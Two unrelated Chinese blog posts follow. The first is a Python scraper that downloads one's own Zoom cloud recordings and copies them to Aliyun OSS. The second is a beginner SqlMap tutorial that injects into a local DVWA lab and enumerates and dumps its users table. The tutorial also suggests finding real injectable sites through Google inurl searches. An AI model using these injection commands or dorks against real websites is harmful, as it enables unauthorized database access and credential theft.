OSS的扩展性和超大的存储空间,使得在一些第三方昂贵的存储成本极大的压缩,譬如ZOOM。但如何实现将ZOOM上的视频转移存储到OSS这个第三方存储介质上呢?其实很简单,具体实现方式是先将ZOOM上的云录制平台中所有视频的地址获取到,然后分批下载到跟OSS绑定的文件目录下,绑定OSS后的目录能实现和bucket的同步。绑定OSS和目录的方法可以通过ossfs工具实现。 以下是ZOOM视频的爬虫脚本的代码,基于python实现 ,这也是基础爬虫的代码实现,观众老爷们也可以当看个爬虫入门 # -*- coding=utf8 -*- import requests import bs4 import urllib import datetime import download as ds import dd from lxml import html session_requests = requests.session() login_url = "https://www.zoom.us/signin" #登录页面的账号密码 payload = { "email": "xxx@qq.com", "password": "password" } #发送seesion请求 result = session_requests.get(login_url) tree = html.fromstring(result.text) result = session_requests.post( login_url, data = payload, headers = dict(referer=login_url) ) #第一页访问 url = 'https://www.zoom.us/recording/management' #获取到的页面值 result = session_requests.get( url, headers = dict(referer = url) ) #获取第一页整个页面,转成BeautifulSoup soup = bs4.BeautifulSoup(result.text, 'lxml') #获取到页数 page=soup.find_all(class_="pagination") page1=bs4.BeautifulSoup(page.__str__(),'lxml');#将收缩结果转成bs格式在进行筛选,筛选出list集合 pp=page1.select("li"); num=1 # 获取a下的href hrefs = [] videoHrefs=[] while(num<=pp.__len__()-2): url = 'https://www.zoom.us/recording/management?p='+num.__str__() #重新请求页面 result = session_requests.get( url, headers=dict(referer=url) ) soup = bs4.BeautifulSoup(result.text, 'lxml') # 获取指定class的<div></div> dv = soup.find_all(class_="list-col rec-filesize") # 将a记录筛选出来 a = bs4.BeautifulSoup(dv.__str__(), 'lxml') ahref = a.find_all("a") #获取到所有的href-meeting地址 for i in ahref: hrefs.append(i['href']) href=i['href'] #访问href地址获取视频地址 resultForVideo = session_requests.get( href, headers=dict(referer=url) ) #获取class=btn play-id的节点 play = bs4.BeautifulSoup(resultForVideo.text, 'lxml') # t通过新的soup获取指定class的<a></a> aPlay = play.find_all(class_="btn play-id") # 将a记录筛选出来 str=aPlay[0]['href'].replace("play", "download"); videoHrefs.append(str) print str filename = "D:/url/" + num.__str__() + ".mp4" print filename nowTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') # 现在 print nowTime # ds.do_load_media(str, filename) #dd._downloader(str,filename) urllib.urlretrieve(str, filename) # urllib.request.urlretrieve(url, filename, Schedule) #计数值增加 num=num+1 print videoHrefs print hrefs.__len__() 以上是基于代码层的爬虫实现,因为存储的地址是filename,而现在的filename为 filename = "D:/url/" + num.__str__() + ".mp4" 但是该文件地址与OSS没有关系,所以需修改为OSS绑定下的目录地址,OSS绑定目录地址的操作方式如下: 1.通过下载ossfs 2.通过安装命令执行安装 对于Ubuntu,安装命令为: sudo apt-get updatesudo apt-get install gdebi-coresudo gdebi your_ossfs_package 对于CentOS6.5及以上,安装命令为: sudo yum localinstall your_ossfs_package 对于CentOS5,安装命令为: sudo yum localinstall your_ossfs_package --nogpgcheck 3.设置bucket name 和 AccessKeyId/Secret信息,将其存放在/etc/passwd-ossfs 文件中,注意这个文件的权限必须正确设置,建议设为640。 echo my-bucket:my-access-key-id:my-access-key-secret > /etc/passwd-ossfschmod 640 /etc/passwd-ossfs 4.将OSS bucket mount到指定目录。ossfs my-bucket my-mount-point -ourl=my-oss-endpoint 具体的挂载目录名称有观众老爷们自行决定,挂载完成后只需要将代码中的filename赋值于指定的目录就大功告成了~~ 2018/06/04 update 增加了oss上传功能,改成了读取配置文件: # -*- coding=utf8 -*- import requests import bs4 import urllib import datetime import os import time import oss2 from lxml import html #创建存放目录地址 filedir="C:/"+time.strftime("%Y-%m-%d") folder=os.path.exists(filedir) if not folder: os.mkdir(filedir) else: print "--- There is this folder! ---" filedir=filedir+"-bk" os.mkdir(filedir) # 打开a.txt配置文件 with open('C:/Users/Administrator/Desktop/a.txt') as file_object: lines = file_object.readlines() for line in lines: str = line.split(" "); username = str[0] password = str[1] print("当前账号", username) session_requests = requests.session() login_url = "https://www.zoom.us/signin" payload = { "email": username, "password": password } result = session_requests.get(login_url) tree = html.fromstring(result.text) result = session_requests.post( login_url, data = payload, headers = dict(referer=login_url) ) #第一页访问 url = 'https://www.zoom.us/recording/management' print url result = session_requests.get( url, headers = dict(referer = url) ) #获取第一页整个页面 soup = bs4.BeautifulSoup(result.text, 'lxml') #获取到页数 page=soup.find_all(class_="pagination") page1=bs4.BeautifulSoup(page.__str__(),'lxml');#将收缩结果转成bs格式在进行筛选,筛选出list集合 pp=page1.select("li"); num=1 vnum=1 page=0 if pp.__len__()==0: page=1 else: pa=bs4.BeautifulSoup(pp[-2].__str__(), 'lxml') page=int(pa.find('a').text) print('page:', page) # 获取a下的href hrefs = [] videoHrefs=[] while(num<=page): url = 'https://www.zoom.us/recording/management?p='+num.__str__() #重新请求页面 result = session_requests.get( url, headers=dict(referer=url) ) soup = bs4.BeautifulSoup(result.text, 'lxml') # 获取指定class的<div></div> dv = soup.find_all(class_="list-col rec-filesize") # 将a记录筛选出来 a = bs4.BeautifulSoup(dv.__str__(), 'lxml') ahref = a.find_all("a") #获取到所有的href-meeting地址 for i in ahref: hrefs.append(i['href']) href=i['href'] #访问href地址获取视频地址 resultForVideo = session_requests.get( href, headers=dict(referer=url) ) #获取class=btn play-id的节点 play = bs4.BeautifulSoup(resultForVideo.text, 'lxml') # t通过新的soup获取指定class的<a></a> aPlay = play.find_all(class_="btn play-id") # 将a记录筛选出来 str=aPlay[0]['href'].replace("play", "download"); #videoHrefs.append(str) print str # 获取到会议ID metID = play.find_all(class_="control-label meeting-topic") st = metID.__str__().index('>') + 1 en = metID.__str__().index('</') metID = metID.__str__()[st:en] # 判断是否之前已经有相同文件名有的话就加编号 echo = "" if metID in videoHrefs: # for fnum in range(videoHrefs.__len__()): # ss = videoHrefs[fnum][0:videoHrefs[i].__len__() - 3] # if ss == metID: # echo=videoHrefs[fnum] # metID=echo[0:echo.__len__()-3]+(int(echo[echo.__len__()-3:echo.__len__()])+1).__str__() metID = metID + "-002" # 获取到新的metID的命名 videoHrefs.append(metID) filename = filedir + "/" + metID.__str__() + ".mp4" print("fileNum", vnum) vnum=vnum+1 print filename nowTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') # 现在 print nowTime # ds.do_load_media(str, filename) #dd._downloader(str,filename) urllib.urlretrieve(str, filename) # urllib.request.urlretrieve(url, filename, Schedule) #页码计数值增加 num=num+1 print('page',num) print videoHrefs print hrefs.__len__() #通过oss2 将视频上传到bucket #用户aky auth = oss2.Auth('aid', 'keys') bucket = oss2.Bucket(auth, 'oss-cn-shanghai-internal.aliyuncs.com', 'bucketName') #获取当前时间命名的目录 nowTimeDir=time.strftime("%Y-%m-%d") #循环上传视频到oss上 ossNum=1 for videoPath in videoHrefs: ossPath=nowTimeDir+'/'+videoPath+".mp4" localPath=filedir+"/"+ videoPath.__str__() + ".mp4" bucket.put_object_from_file(ossPath, localPath) print("ossFile",ossNum) ossNum=ossNum+1
SqlMap 初尝试 什么是SqlMap Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。 支持自动识别密码哈希格式并通过字典破解密码哈希。 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。 支持在数据库管理系统中搜索指定的数据库名、表名或列名 简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。 如何安装SqlMap 因为SqlMap是基于python,所以需要先安装本地的python环境 Python2.7.11下载: 下载地址:https://www.python.org/downloads/ 安装步骤可以查看其它的python的安装教程,蛮简单。 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python 通过 http://www.sqlmap.org/ 下载SqlMap的zip包 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。 输入 cmd 输入自定义名称 将sqlmap的文件夹拷贝到python下 修改起始位置如下,修改为python下的sqlmap的地址 直接启动,如下 SqlMap的实验 通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试我尝试的是通过DVWA的SQL 盲注入。 如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机 通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击 ps:--batch 是指之后所有的选择参数都是默认的选项。 根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档 测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布 [*] dvwa [*] information_schema [*] mysql [*] performance_schema [*] test 通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表 +-----------+ | guestbook | | users | +-----------+ -T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成 [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+ 通过 --dump显示出所有的内容 如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选 但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。 以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。